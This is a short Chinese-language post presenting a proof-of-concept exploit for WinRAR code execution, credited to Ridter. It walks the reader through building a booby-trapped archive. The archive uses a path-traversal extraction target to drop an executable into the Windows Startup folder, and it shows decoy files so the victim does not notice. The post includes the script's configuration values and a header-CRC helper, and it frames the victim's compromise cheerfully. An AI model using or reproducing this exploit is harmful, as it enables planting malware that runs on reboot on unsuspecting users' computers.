exp for Extracting Code Execution From Winrar
poc by Ridter
如何使用?
你只需要安装Python 3.7,并准备一个你想要运行的恶意文件,设置你想要的值,这个exp脚本会自动生成恶意归档文件!
... ...
# 你想要的归档文件名
rar_filename = "test.rar"
# 你想要运行的恶意文件
evil_filename = "calc.exe"
# 你想要的解压路径,如下所示
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# 受害者打开winrar时要显示的其他文件
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# 这个命令可能不同,取决于你的Python3环境。
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
运行exp,exp会自动生成 test.rar
如果受害者打开 test.rar,他会看到 hello.txt 和 world.txt 文件,你也可以添加更多文件,更具吸引力的文件。
![]()
hi.exe 的文件,实际上它是 calc.exe。当他重启计算机时,hi.exe 会运行。![]()
祝您愉快!:)